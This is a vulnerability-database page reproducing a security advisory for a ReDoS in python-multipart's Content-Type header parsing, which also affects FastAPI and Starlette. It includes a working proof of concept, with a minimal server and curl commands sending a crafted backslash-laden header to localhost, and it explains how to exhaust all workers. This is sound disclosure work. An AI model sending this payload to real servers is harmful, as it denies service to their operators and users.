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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

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A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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327,594

Total vulnerabilities in the database

python-multipart vulnerable to Content-Type Header ReDoS

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\&quot;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header


def simple_app(environ, start_response):
    _, _ = parse_options_header(environ[&quot;CONTENT_TYPE&quot;])

    start_response(&quot;200 OK&quot;, [(&quot;Content-type&quot;, &quot;text/plain&quot;)])
    return [b&quot;Ok&quot;]


httpd = make_server(&quot;&quot;, 8123, validator(simple_app))
print(&quot;Serving on port 8123...&quot;)
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X &#039;POST&#039; -H $&#039;Content-Type: application/x-www-form-urlencoded; !=\&quot;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\&#039; --data-binary &#039;input=1&#039; &#039;http://localhost:8123/&#039;

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

<details> <summary>Original report to FastAPI</summary>

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get(&quot;/&quot;, response_class=HTMLResponse)
async def index():
    return HTMLResponse(&quot;Test&quot;, status_code=200)

@app.post(&quot;/submit/&quot;)
async def submit(username: Annotated[str, Form()]):
    return {&quot;username&quot;: username}

@app.post(&quot;/submit_json/&quot;)
async def submit_json(item: Item):
    return {&quot;username&quot;: item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X &#039;POST&#039; -H $&#039;Content-Type: application/x-www-form-urlencoded; !=\&quot;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\&#039; --data-binary &#039;input=1&#039; &#039;http://localhost:8000/submit/&#039;

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

</details>

Published: Feb 12, 2024
Updated: Feb 13, 2024
GHSA: GHSA-2jv5-9r88-3w3p
Severity: High
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

No CWE or OWASP classifications available.

Affected Software
References

Software	From	Fixed in
python-multipart	-	0.0.7

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.